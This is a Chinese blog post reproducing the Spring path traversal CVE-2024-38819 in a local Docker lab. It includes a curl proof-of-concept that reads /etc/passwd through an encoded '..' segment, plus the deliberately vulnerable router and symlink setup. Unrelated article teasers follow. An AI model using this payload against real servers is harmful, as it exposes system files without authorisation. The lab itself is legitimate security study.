news 2026/2/28 3:13:44

CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞复现
操作:

根据CVE-2024-38819:Spring 框架路径遍历 PoC 漏洞搭建复现的靶场环境

拿到环境的源码使用docker搭建

cd vuln

创建容器并启动

docker build -t cve-2024-38819-poc . docker run -d -p 8080:8080 --name cve-2024-38819-poc cve-2024-38819-poc

注意在创建的时候有些镜像无法拉取到,可以在Dockerfile文件中修改配置使用其他的镜像

使用命令来验证是否存在漏洞

curl http://localhost:8080/static/link/%2e%2e/etc/passwd

请求成功返回了/etc/passwd文件的内容,证明存在该漏洞

该漏洞利用了路径遍历问题,使攻击者能够访问系统中本不应暴露的文件(如/etc/passwd)。攻击者能够进一步利用该信息来获取其他敏感数据或执行任意代码。

解析:
  1. 设置静态资源路由:创建PathTraversalDemoApplication.java文件,使用RouterFunctionFileSystemResource设置静态文件路由

    public RouterFunction<ServerResponse> staticResourceRouter() { return RouterFunctions.resources("/static/**", new FileSystemResource("/app/static/")); }

    这段代码创建了一个静态文件资源的路由。当用户访问/static/**路径时,系统会从/app/static/目录中提供文件。

  2. 创建符号链接

    RUN ln -s /static /app/static/link

    在 Dockerfile 中,ln -s命令创建了一个符号链接/static,指向/app/static/link。这意味着攻击者可以通过访问/static/link来尝试获取指向其他系统路径的文件。

  3. 利用路径遍历漏洞: 通过创建符号链接,攻击者可以尝试构造一个路径遍历的恶意 URL。例如:

    /static/link/%2e%2e/etc/passwd

    其中,%2e%2e%2e编码的..,代表父目录。攻击者通过这种方式尝试从/app/static/目录“跳出”并访问系统的其他目录(如/etc/passwd),从而获取系统敏感信息。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/2/27 10:35:51

信使(msner)(信息学奥赛一本通- P1376)四种做法

【题目描述】战争时期&#xff0c;前线有n个哨所&#xff0c;每个哨所可能会与其他若干个哨所之间有通信联系。信使负责在哨所之间传递信息&#xff0c;当然&#xff0c;这是要花费一定时间的&#xff08;以天为单位&#xff09;。指挥部设在第一个哨所。当指挥部下达一个命令后…

作者头像 李华
网站建设 2026/2/23 1:50:20

Nomad ZBrush:GSC 模型制作教程

Nomad & ZBrush&#xff1a;GSC 模型制作教程课程基本信息- 发布时间&#xff1a;2026年1月 - 类别&#xff1a;设计类 - 格式与规格&#xff1a;MP4 格式 1920x1080 分辨率 - 语言&#xff1a;英语 - 时长&#xff1a;15小时 - 大小&#xff1a;22GB - 副标题&#xff1…

作者头像 李华
网站建设 2026/2/17 17:46:57

TOTOLINK EX200存在未修复固件漏洞可被完全远程接管

CERT协调中心(CERT/CC)披露了影响TOTOLINK EX200无线信号扩展器的未修复安全漏洞详情&#xff0c;该漏洞可能允许经过身份验证的远程攻击者完全控制设备。该漏洞编号为CVE-2025-65606(CVSS评分&#xff1a;暂无)&#xff0c;被描述为固件上传错误处理逻辑中的缺陷&#xff0c;可…

作者头像 李华
网站建设 2026/2/25 22:16:54

Ring推出Fire Watch功能,利用家庭摄像头追踪野火威胁

洛杉矶大火一年后&#xff0c;亚马逊Ring安防服务宣布推出名为Fire Watch的新功能&#xff0c;旨在减轻未来野火风险。Fire Watch与CES 2026同期发布&#xff0c;是Ring应用程序Neighbors社区安全更新板块的新功能&#xff0c;计划今年春季在全国范围内推出。Fire Watch依托Wat…

作者头像 李华
网站建设 2026/2/27 20:35:25

机器海龟游向环保使命:仿生技术守护珊瑚礁

在自然环境中与海龟一起游泳是一种令人敬畏的体验。这些温和的生物以其深思熟虑且小心的鳍状肢划水方式在水下世界中航行&#xff0c;观看起来完全令人着迷。这是一种独特的运动方式——当我在CES 2026展会现场看到Beatbot公司的RoboTurtle在水箱中游泳时&#xff0c;我立刻意识…

作者头像 李华
网站建设 2026/2/26 8:06:58

零基础 | LangChain 构建大模型应用的开发框架

文章目录&#x1f4c4; 基本信息&#x1f680; LangChain框架概述核心定位生态系统核心价值使用建议选择考量&#x1f9e9; LangChain核心抽象详解核心抽象组件ChatModel详解PromptTemplate详解OutputParser详解核心抽象的价值&#x1f4dd; 使用示例运行结果&#x1f3af; 功能…

作者头像 李华